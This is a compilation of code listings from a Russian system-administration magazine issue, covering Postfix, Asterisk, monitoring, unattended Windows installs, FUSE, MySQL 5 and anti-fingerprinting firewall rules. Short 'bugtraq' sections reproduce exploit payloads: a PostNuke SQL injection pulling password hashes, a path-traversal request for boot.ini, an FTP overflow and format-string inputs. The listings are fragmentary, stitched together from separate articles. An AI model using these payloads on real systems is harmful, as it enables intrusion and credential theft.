Postfix: диагностируем и устраняем неисправности Андрей Бешков # ps -ax | grep master # service postfix status # netstat -na | grep LISTEN | grep 25 # postfix check # postfix stop # postfix start cleanup unix n - - - 0 cleanup -v # /usr/sbin/postfix -v # postconf | grep version # postconf -m # grep /var/log/maillog F29D3562E # sendmail -v vasa@unreal.net # sendmail -bv vasa@unreal.net debug_peer_level = 2 debug_peer_list = yandex.ru, mail.ru pochta.ru 10.10.10.23/32 10.10.10.0/24 ----------------------------------------------------------------------------------------------------------------- Asterisk и Linux – миссия IP-телефония Михаил Платов # cd /usr/src # export CVSROOT=:pserver:anoncvs@cvs.digium.com:/usr/cvsroot # cvs login            # введите пароль anoncvs # cvs checkout -r v1-0 zaptel libpri asterisk # cd zaptel # make clean install # cd ../libpri # make clean install # cd ../asterisk # make clean install samples # asterisk -vvvvvcd [general] context=default allowguest=no bindport=5060 bindaddr=0.0.0.0 [200] ; xlite phone type=friend host=dynamic username=200 secret=user1_password nat=no canreinvite=no context=office callerid=”User1” <200> allow=gsm allow=ulaw allow=alaw [201] ;sjphone type=friend host=dynamic username=201 secret=user2_password dtmfmode=rfc2833 context=office callerid=”User2” <202> allow=gsm allow=ulaw allow=alaw [203] ; ms messenger type=friend host=dynamic username=202 secret=user3_password dtmfmode=rfc2833 context=office callerid=”User3” <203> allow-ulaw allow-alaw [demo] exten => s,1, Wait,1 exten => s,n, Answer exten => s,n, SetVar(TIMEOUT(digit)=5) exten => s,n, SetVar(TIMEOUT(response)=10) exten => s,n(restart), BackGround(demo-congrats) exten => s,n(instruct), BackGround(demo-instruct) exten => s,n, WaitExten exten => 2,1, BackGround(demo-moreinfo) exten => 2,n,Goto(s,instruct) exten => 3,1, SetVar(Language()=fr) exten => 3,2, Goto(s, restart) exten => 8500, 1, VoiceMailMain exten => 8500, n, Goto,s exten => 1000, 1, Goto(default,s,1) [office] exten => 200,1, Macro(stdexten,200,SIP/200) exten => user1, 1, Goto(200|1) exten => 201,1, Macro(stdexten,201,SIP/201) exten => user2, 1, Goto(201|1) exten => 202,1, Macro(stdexten,202,SIP/202) exten => user3, 1, Goto(202|1) include => demo [macro-stdexten] exten => s, 1, Dial (${ARG2},20,t) exten => s, 2, Goto(s-$(DIALSTATUS),1) exten => s-NOANSWER, 1, Voicemail(u${ARG1}) exten => s-NOANSWER, 2, (Goto(default,s,1)) exten => s-BUSY, 1, Voicemail(b,${ARG1}) exten => s-BUSY, 2, (Goto(default,s,1)) exten => _s-., 1, Goto(s-NOANSWER) exten => a, 1, VoiceMailMain(${ARG1}) [general] format=wav49 maxmessage=300 [office] 200 => 123, User1, user1@mail.company.com,,attach=yes 201 => 456, User2, user2@mail.company.com,,attach=yes 202 => 789, User3, user3@mail.company.com,,attach=yes ;mailcmd=/usr/sbin/sendmail -t Enabled - Yes Display Name - Asterisk Username – 200 Authorization User – 200 Password – user1_password Domain/Realm - asterisk SIP Proxy – 192.168.0.20 Outbound Proxy – 192.168.0.20 Register – Always callgroup=1 pickupgroup=1 exten => *8,1,PickUP() [general] parkext => 700 parkpos => 701-720 context => parkedcalls xfersound =beep xferfailsound = beeper featuredigittimeout = 1000 [featuremap] blindxfer => #1 include => parkedcalls [tario_out] type=peer host=адрес_сервера_tario username= номер_лицевого_счета_tario fromusername=номер_лицевого_счета_tario fromdomain=домен_tario secret= пароль_tario usereqphone=yes register => номер_лицевого_счета_tario:пароль@tario_in [tario_in] type=user context=tario_inc host=ip_адрес_сервера_tario exten => _8, Dial(SIP/${EXTEN:1}@tario_out,20,rT) [tario_inc] exten => s,1,Wait, 1 exten => s, 2, Answer exten => s,3, BackGround(local-welcomе) exten => s,4, WaitExten exten => 200,1, Macro(stdexten,200,SIP/200) exten => 201,1, Macro(stdexten,201,SIP/201) exten => 202,1, Macro(stdexten,202,SIP/202) exten => 8500,1, VoiceMailMain exten => 8500,n, Hangup include => office [office] include => [office-rules] exten => _8, Dial(SIP/${EXTEN:1}@tario_out,20,rT ----------------------------------------------------------------------------------------------------------------- Испытываем Antmon – новую систему мониторинга Сергей Жуматий Листинг 1. Кольцевая конфигурация heads head1 head2 serv # Используем 3 головных сервера с именами head1, head2 и serv topo 1 2 3 2 # Описываем топологию. # Кратко – 1–й сервер будет посылать пакеты 2–му для подтверждения того, что он «жив», 2–й – 3–му, а 3–й – 2–му. # # Если 1–й сервер откажет, об этом узнает только 2–й (но он «расскажет» 3–му) head_ping 120 # Посылаем ping (точнее keep_alive) остальным серверам каждые 2 минуты head_tmout 300 # Если в течение 5 минут нет сигнала от другого сервера, он считается сбойным action mail_servfail action_mail root@superserver.ru action_line Server $addr fails. # Описываем действие – передать на вход модулю action_mail указанную строку, сам модуль action_mail # запускается с параметром – адресом администратора action mail_status action_mail root@superserver.ru action_line $name on server $addr is $state # Ещё одно действие – тоже отсылка письма action down action_shutdown action_line $addr # Другой вариант реагирования – зайти на указанный сервер по ssh и выполнить shutdown action log action_log /var/log/Antmon_log action_line $addr $name $val $state # Реагирование в виде записи в файл журнала on_head_death mail_servfail # В случае сбоя головного сервера оповестить администратора с помощью описанного выше действия mail_servfail ##################################################### # Описание параметров мониторинга. # Все инструкции описывают шаблон для параметра – диапазон значений, реакции на события и т. п. # # Инструкции names или addr_set «актуализируют» шаблон, реализуя описанные параметры на сервере из инструкции # addresses или на указанных серверах с именем из инструкции name соответственно. # # Шаблон не обнуляется после «актуализации», так что нет необходимости описывать каждый параметр # заново – достаточно модифицировать предыдущий addressess host1 # Имя хоста, на котором работает агент min 200 max 200 # Диапазон допустимых значений кода веб–страницы min_ret 200 max_ret 200 # Диапазон значений для возврата в состояние «ОК» bad_count 2 # Один сбой странички допускаем, 2 – уже нет ret_cout 1 # Для возврата в состояние «ОК» достаточно одного «хорошего» результата её опроса on_fail mail_state log # При сбое – информировать администратора и сделать запись в журнале on_ret mail_state log # При возврате в состояние «ОК» – тоже address serv1 проверять будем на агенте на head1 mons 1 2 # Проверять могут мониторы head1 и head2. # head1 имеет приоритет names http.antmod test_url # Формат: имя модуля [аргументы] название # В этот момент происходит объявление сенсора с указанным именем на агенте по адресам, указанным в последней # инструкции addr либо addresses (тогда объявляются сенсоры на всех перечисленных хостах) addresses host1 host2 host3 min 5000 max 100000 min_ret 5500 max_ret 100000 ret_count 2 # Меняем параметры сенсоров. # Описанные ранее параметры, которые не изменены, не сбрасываются! # Проверяем на 3-х хостах on_fail down mons 2 3 # Ответственные мониторы – head2 и serv. # head2 имеет приоритет names fans.antmod w83781-isa-0290 w83781-isa-0290 fan1 # Объявляем сенсор adsdresses node1 node2 node3 node4 # Объявляем сенсоры с указанным ранее в инструкции names именем на узлах node1-node4 # # Проверяем вентилятор процессора на узлах node1-node4, используя их локальные агенты Листинг 2. Три площадки heads site1 site2 site3 # Головные сервера площадок – site1, site2 и site3 topo 1 2 3 1 # Все контролируют друг друга action mail_fail action_mail root@superserver.ru action_line $name fails. action sms_servfail action_sms 1234567 action_line Server $addr fails. action log action_log /var/log/Antmon_log action_line $addr $name $val $state action restart_base action_baserst action_line restart on_head_death sms_servfail # Шлём sms, если один из серверов помер addr 192.168.10.10 # Сервер баз данных min 0 max 0 # Код успешного статуса базы данных min_ret 0 max_ret 0 # Диапазон значений для возврата в состояние «ОК» bad_count 1 # Первый же сбой фатален ret_cout 1 on_fail mail_fail restart_base log # При сбое базы – перестартовать её. # Информировать администратора и сделать запись в журнале on_ret log mons 1 # Проверять будет только site1 names dbcheck.antmod database addr 1.2.3.4 # Вторая площадка с реальными адресами on_fail mail_fail log mons 2 1 3 # Первая и третья площадки могут быть «на подхвате» names smtp.antmod mail.myserv.ru; http.antmod www.myserv.ru # В инструкции names можно определить и несколько сенсоров addr 5.6.7.8 # Третья площадка с реальными адресами mons 3 2 1 names smtp.antmod mail.serv2.ru; http.antmod www.serv2.ru # За этот сенсор ответственны все mons 3 min 0 max 70 min_ret 0 max_ret 60 names fantemp.antmod w83781-isa-0290 w83781-isa-0290 fan1 # Вентилятор на 5.6.7.8 контролирует только site3 Листинг 3. Кластер и внешняя площадка. heads clusterhead friend.ru topo 1 2 1 # Оба контролируют друг друга action mail_fail action_mail root@superserver.ru action_line $name fails. action sms_servfail action_sms 1234567 action_line Server $addr fails. action log action_log /var/log/Antmon_log action_line $addr $name $val $state on_head_death sms_servfail # Шлём sms, если один из серверов помер on_fail action_log mail_fail on_ret action_log addresses node1 node2 node3 node4 node5 node6 node7 node8 mons 1 min 0 min_ret 0 max 2.3 max_ret 1.9 # Максимально допустимая нагрузка на 2-процессорный узел bad_count 3 ret_cout 2 names sysstat.antmod loadavg max 70 # Максимальная температура names fantemp.antmod w83781-isa-0290 w83781-isa-0290 fan1 max 2 bad_count 1 ret_cout 1 names sysstat.antmod eth0_rcv_errs names sysstat.antmod eth0_sent_errs names sysstat.antmod eth0_sent_colls names sysstat.antmod nfs_retrans on_fail mail_fail log on_ret log mons 1 2 min 200 min_ret 200 max 201 max_ret 201 addresses localhost # Небольшое жульничество, каждый головной сервер будет опрашивать локального агента, но сначала это будет # делать только первый names http.antmod www.server.com ----------------------------------------------------------------------------------------------------------------- Автоматизация MS Windows, или AutoIt как мечта эникейщика Часть 3 Алексей Барабанов Листинг 1. Содержимое исходного диска, примонтированного в точке /cdrom /cdrom # ls -als Листинг 2. Рабочая директория после копирования исходного диска /heap/Windows/uawsp2 # ls -als Листинг 3. Файл автозапуска /heap/Windows/uawsp2 # cat autorun.inf Листинг 4. Поддиректории с дистрибутивными файлами /cdrom # ls -als I386 | grep dr-x Листинг 5. Дистрибутивные поддиректории, которые надо составить /heap/Windows/uawsp2 # ls -als I386 | grep dr-x Листинг 6. Объем оставшегося дистрибутива /heap/Windows/uawsp2 # du -sh Листинг 7. Подстроки, выделенные из загрузчика /heap/Windows/uawsp2 # strings boot/ntboot.bin Листинг 8. Подстрока сообщения, сопровождающего загрузку /heap/Windows/uawsp2 # strings I386/BOOTFIX.BIN Листинг 9. Содержимое директории boot /heap/Windows/uawsp2 # ls -als boot Листинг 10. Конвертация в cp866 # iconv -f koi8-r -t cp866 WINNT.SIF.koi8r | awk '{print $0 "\015"}' > /heap/Windows/uawsp2/I386/WINNT.SIF [Data] ; Включим режим ручного выбора раздела установки. AutoPartition=0 [Unattended] ; Запрещаем автоматическое переразбиение диска. Repartition=No Листинг 11. Размещение дополнительных обоев /heap/Windows/uawsp2 # ls -als \$OEM\$/\$\$/Web/Wallpaper Листинг 12.Размещение дополнительных программ /heap/Windows/uawsp2 # ls -als \$OEM\$/\$\$/System32 Листинг 13. Размещение дополнительных команд /heap/Windows/uawsp2 # ls -als \$OEM\$/\$1/Documents\ and\ Settings [GuiUnattended] ; Задаем пароль Администратора. AdminPassword="admin» EncryptedAdminPassword=No [GuiUnattended] ; Установим режим автоматического входа в систему от имени Администратора AutoLogon=Yes ; Число автоматических входов. AutoLogonCount=2 [UserData] ; Подставляем установочный ключ для Windows XP ProductID=XXXXX-XXXXX-XXXXX-XXXXX-XXXXX [UserData] ; Задаем случайное имя. ComputerName=* [Networking] ; Зададим сетевые настройки по умолчанию InstallDefaultComponents=Yes [TerminalServices] ; разрешить RDP AllowConnections=1 Листинг 14. Содержимое Cmdlines.txt [Commands] "mkusers.cmd" Листинг 15. Содержимое mkusers.cmd net user localadmin admin /add net localgroup Администраторы localadmin /add net accounts /maxpwage:unlimited [GuiUnattended] ; Запретим запрос о создании пользовательских бюджетов AutoLogonAccountCreation=No Листинг 16. Исправление в реестре для подключения в домен на Samba [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters] "requiresignorseal"=dword:00000000 Листинг 17. Исправление в реестре для разрешения работы нужных сетевых служб [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List] "3389:TCP"="3389:TCP:192.168.0.0/255.255.255.0,192.168.10.0/255.255.255.0:Enabled:@xpsp2res.dll,-22009" "161:UDP"="161:UDP:LocalSubNet:Enabled:SNMP" Листинг 18. Команда обновления реестра %systemdrive%\windows\regedit /s %systemdrive%\InstData\WinXP_SignOrSeal.reg Листинг 19. Установка MS Office %systemdrive%\InstData\install_office.exe %systemdrive%\InstData\OfficeXP\SETUP.EXE Run ( $CmdLine[1] ) Листинг 20. Команды дополнительных настроек copy %systemdrive%\InstData\farmanag.lnk "%systemdrive%\Documents and Settings\All Users\Главное меню\Программы\FAR manager\FAR manager.lnk" /b /y copy %systemdrive%\InstData\farmanag.lnk "%systemdrive%\Documents and Settings\All Users\Рабочий стол\FAR manager.lnk" /b /y copy /Y "%systemdrive%\Documents and Settings\usersetup.cmd" "%systemdrive%\Documents and Settings\Default User\Главное меню\Программы\Автозагрузка\" copy /Y "%systemdrive%\Documents and Settings\usersetup.cmd" "%systemdrive%\Documents and Settings\Администратор\Главное меню\Программы\Автозагрузка\" copy /Y "%systemdrive%\Documents and Settings\usersetup.cmd" "%systemdrive%\Documents and Settings\localadmin\Главное меню\Программы\Автозагрузка\" [GuiRunOnce] ; запусим установку прикладных программ "%systemdrive%\InstData\GuiRunOnce.cmd" ; удалим дистрибутивы прикладных программ "%systemdrive%\WINDOWS\system32\cmd.exe /c rmdir %systemdrive%\InstData /s /q" ; запустим перезагрузку компьютера "%systemdrive%\WINDOWS\system32\shutdown -r -f -t 180" copy /Y %systemdrive%\InstData\step4.cmd "%USERPROFILE%\Главное меню\Программы\Автозагрузка\" bootcfg /raw «"/fastdetect /safeboot:minimal /sos /bootlog /noguiboot" /id 1 Листинг 21. Сборка загрузочного диска # mkisofs -v -J -N -D -relaxed-filenames -no-iso-translate \ -input-charset koi8-r \ -P «Ivan Ivanovich» \ -p «Handy Man» \ -V «WXPSP2_RU» \ -A «mkisofs» \ -b boot/ntboot.bin -no-emul-boot -c boot/boot.catalog \ -hide boot -hide-joliet boot \ -o wxpsp2_ru.iso \ /heap/Windows/uawsp2 ----------------------------------------------------------------------------------------------------------------- Решаем нестандартные задачи с помощью стандартного Windows Scripting Host Михаил Кошкин ' Получение доступа к объектам FileSystem Object Dim fso : Set fso = WScript.CreateObject("Scripting.FileSystemObject") ' Перебираем все диски (HDD, FDD, CD и др.), имеющиеся в системе Dim i For Each i In fso.Drives …. Next Sub WorkSubFolder(sdrivename) Dim sfolder : set sfolder=fso.getfolder(sdrivename) ' Для работы с подкаталогами источника Dim ssfolder : set ssfolder=sfolder.SubFolders ' Для работы с файлами каталога источника Dim ssfiles : set ssfiles=sfolder.Files Dim fo ' Цикл обработки подкаталогов каталога источника For Each fo In ssfolder WorkSubFolder SDriveName&"\"&fo.name Next ' Для всех файлов текущего каталога вызывается процедура WorkForFile Dim fi : For Each fi In ssfiles : WorkForFile sfolder&"\"&fi.name : Next End sub Dim wshshell : Set wshshell = WScript.CreateObject("WScript.Shell") Dim shortcut : Set shortcut = wshshell.CreateShortcut(fullnamefilelnk) ' Вывод информации с названием и полным путем к запускаемому файлу WScript.Echo( shortcut.TargetPath ) Dim fso : Set fso=CreateObject("Scripting.FileSystemObject") Dim filelnk : Set filelnk = fso.getfile(строка с полным названием файла-ярлыка) ' Вывод информации о дате создания файла-ярлыка WScript.Echo( filelnk.DateCreated ) On Error Resume Next Dim wordapp : Set wordapp = WScript.CreateObject("Word.Application") ' Открываем файл fullnamefile с документом Word с паролем " " Dim doc Set doc = wordapp.Documents.Open(fullnamefile, _ False, _ blnReadOnly,_ False, " ") If Err.Number = 5408 then ' Обработка файла с документом Word, который имеет пароль End if ' Метаданные с пользовательскими свойствами документа Dim propitem For Each propitem In wordapp.ActiveDocument.CustomDocumentProperties ' В цикле обрабатываются propitem.Type и propitem.Value Next ' Метаданные со стандартными свойствами документа For Each propitem In wordapp.ActiveDocument.BuiltInDocumentProperties ' В цикле обрабатываются propitem.Type и propitem.Value Next Err.Clear On Error GoTo 0 Dim wshshell : Set wshshell = WScript.CreateObject("WScript.Shell") Dim wshproenv : Set wshproenv = wshshell.Environment("PROCESS") wshproenv (var_env) ' Подключение к службе WMI локального компьютера Dim wbemservices Set wbemservices = GetObject("winmgmts://127.0.0.1/Root/Cimv2") Dim objectitems Set objectitems = wbemservices.ExecQuery("Select * from Win32_NetworkAdapter") Dim objectitem For Each objectitem In objectitems If objectitem.MacAddress<>"" then WScript.echo("Сетевая карта название: " + objectitem.Name + Chr(13) + _ " производитель: " & objectitem.Manufacturer + Chr(13) + _ " MAC: " & objectitem.MacAddress) End if Next ----------------------------------------------------------------------------------------------------------------- Solaris 10 в качестве десктопа? Пробуем! Андрей Маркелов # useradd -d /export/home/user -m -s /bin/bash user ----------------------------------------------------------------------------------------------------------------- Файловые системы пространства пользователя Сергей Яремчук # tar -xzvf fuse-2.2.1.tar.gz # cd fuse-2.2.1 # ./configure && make # make install # /sbin/modprobe fuse # /sbin/lsmod | grep fuse # cat /proc/filesystems | grep fuse #./fusexmp /mnt/fuse/ -d # encfs ~/.crypt ~/crypt # cd crypt/ # echo «Это зашифрованное сообщение» > testfile # cat testfile # fusermount -u ~/crypt # ls ./.crypt/ # encfsctl ./.crypt shfsmount[user@]host:[dir]] mountpoint [options] # mount -t shfs sergej@somewhere.com: /mnt/local # ln-s /sbin/mount.shfs /sbin/shfsmount # mount -t shfs sergej@somewhere.com: /mnt/local # sshfs sergej@somewhere.com:/tmp /mnt/local # mount | grep shfs # crontab -e # mkdir ~/net # fusermount ~/net fusesmb & # ./mount.wayback ~/wayback/ /mnt/disk # /sbin/rmmod fuse # ./mount.wayback ~/wayback/ /mnt/disk # mount | grep fuse # echo «test» > /mnt/disk/test # ls /mnt/disk/ # ls ~/wayback/ # echo «test2» >> /mnt/disk/test # echo «test3» >> /mnt/disk/test # ls ~/wayback/ # ls -la /OPUSH /OPUSH/SE_T630 /OPUSH/myPalm # cp file.txt /OPUSH/myPalm ----------------------------------------------------------------------------------------------------------------- Ускоряем Ms SQL Server Юлия Шабунио DBCC TRACEON(1204, -1) declare @l tinyint select @l = 1 from A with (tablockx) where 1 = 2 ----------------------------------------------------------------------------------------------------------------- bugtraq стр. 48 http://[target]/index.php?mod=editnews&action=editnews&id=[id]&source= ----------------------------------------------------------------------------------------------------------------- MySQL 5 – что нового предлагают нам разработчики? Кирилл Сухов CREATE PROCEDURE p () LANGUAGE SQL NOT DETERMINISTIC SQL SECURITY DEFINER COMMENT 'A Procedure' <-- SELECT CURRENT_DATE, RAND() FROM t mysql> call p2() CREATE FUNCTION factorial (n DECIMAL(3,0)) RETURNS DECIMAL(20,0) DETERMINISTIC BEGIN DECLARE factorial DECIMAL(20,0) DEFAULT 1; DECLARE counter DECIMAL(3,0); SET counter = n; factorial_loop: REPEAT SET factorial = factorial * counter; SET counter = counter - 1; UNTIL counter = 1 END REPEAT; RETURN factorial; END INSERT INTO t VALUES (factorial(pi)) SELECT s1, factorial (s1) FROM t UPDATE t SET s1 = factorial(s1) WHERE factorial(s1) < 5 CREATE PROCEDURE p1 (IN parameter1 INT) BEGIN DECLARE variable1 INT; SET variable1 = parameter1 + 1; IF variable1 = 0 THEN INSERT INTO t VALUES (17); END IF; IF parameter1 = 0 THEN UPDATE t SET s1 = s1 + 1; <-- ELSE UPDATE t SET s1 = s1 + 2; END IF; END; mysql> CALL p2(0) // Query OK, 2 rows affected (0.28 sec) mysql> SELECT * FROM t CREATE PROCEDURE p3 () BEGIN DECLARE v INT; SET v = 0; WHILE v < 5 DO INSERT INTO t VALUES (v); SET v = v + 1; END WHILE; END; CREATE PROCEDURE p25 (OUT return_val INT) BEGIN DECLARE a,b INT; DECLARE cur_1 CURSOR FOR SELECT s1 FROM t; DECLARE CONTINUE HANDLER FOR NOT FOUND SET b = 1; OPEN cur_1; REPEAT FETCH cur_1 INTO a; UNTIL b = 1 END REPEAT; CLOSE cur_1; SET return_val = a; END; CREATE TABLE t22 (s1 INTEGER) CREATE TRIGGER t22_bi BEFORE INSERT ON t22 FOR EACH ROW BEGIN SET @x = ‘Trigger was activated!’; SET NEW.s1 = 55; END; mysql> INSERT INTO t22 VALUES (1) mysql> SELECT @x, t22.* FROM t22 // вызывается триггер mysql> CREATE VIEW v AS SELECT column1 FROM t; mysql> INSERT INTO v VALUES (1); mysql> SELECT * FROM v; mysql> SELECT table_name, table_type, engine -> FROM INFORMATION_SCHEMA.tables -> WHERE table_schema = ‘tp’ -> ORDER BY table_type ASC, table_name DESC; mysql> SELECT * FROM -> INFORMATION_SCHEMA.COLUMN_PRIVILEGES\G ----------------------------------------------------------------------------------------------------------------- bugtraq стр. 45 USER (A x 80) (Following 4 Bytes = New Return Point) PASS 0wn3r PORT 127,0,0,1,18,12 (Must be same as connecting IP) ----------------------------------------------------------------------------------------------------------------- FreeBSD tips: повышаем безопасность с помощью одноразовых паролей Сергей Супрунов root# opiepasswd -c test serg$ opieinfo serg$ opiekey -n 5 498 ko5623 permit 192.168.0.0 255.255.255.0 # permit 0.0.0.0 0.0.0.0 options ndots:3 ----------------------------------------------------------------------------------------------------------------- Изучаем принцип работы Неimdal Kerberos Михаил Кондрин mike@alex ~\$ klist \$ telnet -F relay \$klist \$telnet -F kenga mike@kenga:~\$ ftp kenga ----------------------------------------------------------------------------------------------------------------- Защищенная почтовая система с Tiger Envelopes Сергей Яремчук Имя: Test User Почтовый адрес: test@tigerprivacy.local Пароль: 256 AV Audio Имя: Test User2 Почтовый адрес: test2@tigerprivacy.local Пароль: Memory F4800000 ----------------------------------------------------------------------------------------------------------------- Насколько неуязвима ваша беспроводная сеть? Крис Касперски Листинг 1. Псевдокод функции KSA(A), инициализирующей массив S, используемый впоследствии для генерации псевдо­случайной последовательности // инициализация for(i = 0; i < N; i++) S[i] = i; j = 0; // перемешивание байт, оно же // скрем­б­ли­ро­ва­ние (scrambling) for i = 0; i< 140 block in log level local3.info quick on xl0 proto udp from any to 195.195.195.1 # Разрешаем только правильные tcp-запросы к публичному сервису pass in quick on xl0 proto tcp from any to 195.195.195.1 port = 25 flags S/S pass in quick on xl0 proto tcp from any to 195.195.195.1 port = 25 flags A/A pass in quick on xl0 proto tcp from any to 195.195.195.1 port = 25 flags AP/AP pass in quick on xl0 proto tcp from any to 195.195.195.1 port = 25 flags AF/AF # Нормализация трафика автоматически отфильтрует нестандартные пакеты атакующего, изменит TTL scrub in on xl0 all fragment reassemble min-ttl 20 max-mss 1440 scrub on xl0 all reassemble tcp # можно манипулировать IP-опциями, например, сбрасывать флаг DF в 0 scrub out on xl0 all no-df # Фильтрация TCP-флагов block in quick proto tcp from any to 195.195.195.1 flags SF/SFRA block in quick proto tcp from any to 195.195.195.1 flags SFUP/SFRAU block in quick proto tcp from any to 195.195.195.1 flags FPU/SFRAUP block in quick proto tcp from any to 195.195.195.1 flags F/SFRA block in quick proto tcp from any to 195.195.195.1 flags U/SFRAU block in quick proto tcp from any to 195.195.195.1 flags P/P # Разрешаем ICMP только echo request и echo reply pass in quick on xl0 proto icmp from any to 195.195.195.1 icmp-type echoreq pass in quick on xl0 proto icmp from any to 195.195.195.1 icmp-type echorep pass out quick on xl0 proto icmp from 195.195.195.1 to any icmp-type echoreq pass out quick on xl0 proto icmp from 195.195.195.1 to any icmp-type echorep block in log-all quick on xl0 proto icmp from any to any block out log-all quick on xl0 proto icmp from any to any # Блокируем закрытые порты block in log-all quick on xl0 proto tcp from any to 195.195.195.1 port 136 >< 140 block in log quick on xl0 proto udp from any to 195.195.195.1 # Фильтруем входящие пакеты на публичный сервис pass in quick on xl0 proto tcp from any to 195.195.195.1 port = 25 flags S/SA synproxy state # Разрешаем исходящие ping access-group 101 in interface outside access-list 101 permit icmp any host 209.165.200.246 echo-reply # Разрешаем входящие ping access-list 101 permit icmp any host 209.165.200.246 echo # Включаем анализатор протоколов приложений. Какие точно правила фильтрации использует PIX, не ясно. Но тот факт, # что реально клиент устанавливает соединение не с сервером приложений, а с PIX затрудняет fingerprinting fuxup protocol ftp 21 fixup protocol smtp 25 # Для фильтрации нестандартных или неправильных TCP/IP-пакетов PIX использует встроенную IDS # с фиксированным набором сигнатур ip audit name fingeraudit atack action alarm drop ip audit name fingeraudit info action alarm drop # Выберем только те сигнатуры, которые имеют отношение к fingerprinting # Нужные нам сигнатуры: # ID Название Тип 400000 1000 IP options-Bad option list Informational 400002 1002 IP options-Timestamp Informational 400007 1100 IP Fragment Attack Attack 400008 1101 IP Unknown IP Protocol Attack 1102 Impossible IP Packet Attack 400009 1103 IP Fragments Overlap Attack 400023 2150 Fragmented ICMP Traffic Attack 400026 3040 TCP NULL flags Attack 400027 3041 TCP SYN+FIN flags Attack 400028 3042 TCP FIN only flags Attack # Остальные сигнатуры можно исключить из политики no ip audit name fingeraudit signature sigN ip audit interface outside fingeraudit # Параметр ID в заголовке IP-пакета генерируется случайно Options random_ip_id # Отбрасываются пакеты с флагами syn+fin Options tcp_drop_synfin Options icmp_bandlim # Включаем контроль над ICMP # Определяем реакцию системы при получении пакета на закрытый TCP-порт sysctl net.inet.tcp.blackhole=2 # Определяем реакцию системы при получении пакета на закрытый UDP-порт sysctl net.inet.udp.blackhole=1 # Определяем размер окна TCP-соединения sysctl net.inet.tcp.sendspace=64395 sysctl net.inet.tcp.recvspace=64395 # Определяем TTL в заголовке IP-пакета sysctl net.inet.ip.ttl=128 sysctl net.inet.tcp.drop_synfin=1 # Указываем ОС изменять параметры window и timestamps в соответствии с RFC 1323. sysctl net.inet.tcp.rfc1323=1 # Запрет ICMP echo (ping): echo “1” > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts echo “1” > /proc/sys/net/ipv4/icmp_echo_ignore_all # Изменяем IP TTL по умолчанию echo “128” > /proc/sys/net/ipv4/ip_default_ttl Скорость генерации ICMP пакетов (по умолчанию 100) echo “70” > /proc/sys/net/ipv4/icmp_ratelimit # Количество повторных отсылок пакетов, на которые не получен ответ echo “5” > /proc/sys/net/ipv4/tcp_synack_retries echo “5” > /proc/sys/net/ipv4/tcp_syn_retries 5 # Устанавливаем стандартный размер TCP window echo “64395” > /proc/sys/net/core/rmem_default echo “64395” > /proc/sys/net/core/wmem_default # Изменять параметры TCP window и timespamp в соответствии с 1323. echo “1” > /proc/sys/net/ipv4/tcp_window_scaling echo “1” > /proc/sys/net/ipv4/tcp_timestamps # Разрешить использование SACK в соответствии с RFC2018 (SACK будет добавляться в tcp options) Echo “1” > /proc/sys/net/ipv4/tcp_sack # Изменяем стандартное значение maximux segmet size. ndd -set /dev/tcp tcp_mss_def 546 # Отключим «path MTU discovery» и система перестанет ставить бит «don’t fragment» ndd -set /dev/ip ip_path_mtu_discovery 0 # Устанавливаем закон генерации ISN действительно случайным образом. ndd -set /dev/tcp tcp_strong_iss 2 # Изменяем стандартное значение tcp window size ndd -set /dev/tcp tcp_xmit_hiwat 64395 ndd -set /dev/tcp tcp_recv_hiwat 64395 # Изменяем стандартное время жизни пакета (TTL) ndd -set /dev/tcp tcp_ip_ttl 128 # define SERVER_BASEPRODUCT “Apache” # define SERVER_BASEREVISION “X.X.X” # define SERVER_BASEPRODUCT “Microsoft-IIS” # define SERVER_BASEREVISION “5.0” # IIS не ставит подпись в рапортах об ошибках ServerSignature Off # Для того чтобы выдавать только ту информацию, которую мы изменили ServerTokens Min MASQUERADE_AS(mail.somedomain.com) MASQUERADE_DOMAIN(mailoffice.somedomain.com) smtpd_banner = secure SMTP server # SMTP initial login message (old $e macro) O SmtpGreetingMessage=$j secure SMTP server; $b smtpd_banner = secure SMTP server # sysctl net.ipv4.tcp_timestamps=0 net.ipv4.tcp_timestamps = 0 ----------------------------------------------------------------------------------------------------------------- bugtraq стр. 76
Username : < br> emailaddress : < br> firstname : < br> < input name=»submit» value=»submit» type=»submit»> < /form> http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_p http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=rea dpmsg&start=0’

cXIb8O3 and sp3x - SecurityReason

&total_messages=1 %n%n%n%n%n die ----------------------------------------------------------------------------------------------------------------- Используем ImageMagick в веб-разработке Кирилл Сухов // исходный файл $primary="test.jpg"; // имя нового файла $secundary ="test2.gif"; exec("convert ". $primary." " test2.gif); exect("convert ". $primary." -resize 30% ". test.gif); exect("convert ". $primary." -coloreze 0, 0, 50 ". test2.gif); ;для UNIX систем extension= imagick.so ;для Windows extension=msql.dll 10, "format"=>"jpeg"); imagick_write($handle,"myimg.jpg"); imagick_free($handle); ?> imagick_annotate($handle,array( "primitive"=>"text 150,150 hello world", "pointsize"=>60, "antialias"=>1, "stroke"=>’green’, "fill»=>’#ff7755’, "font»=>"Arial.ttf", "rotate"=>90 )); ----------------------------------------------------------------------------------------------------------------- bugtraq стр. 94 GET /bla.jsp?\..\..\..\..\..\..\..\..\..\..\boot.ini HTTP/1.0 Connection: Close Host: example.com User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Pragma: no-cache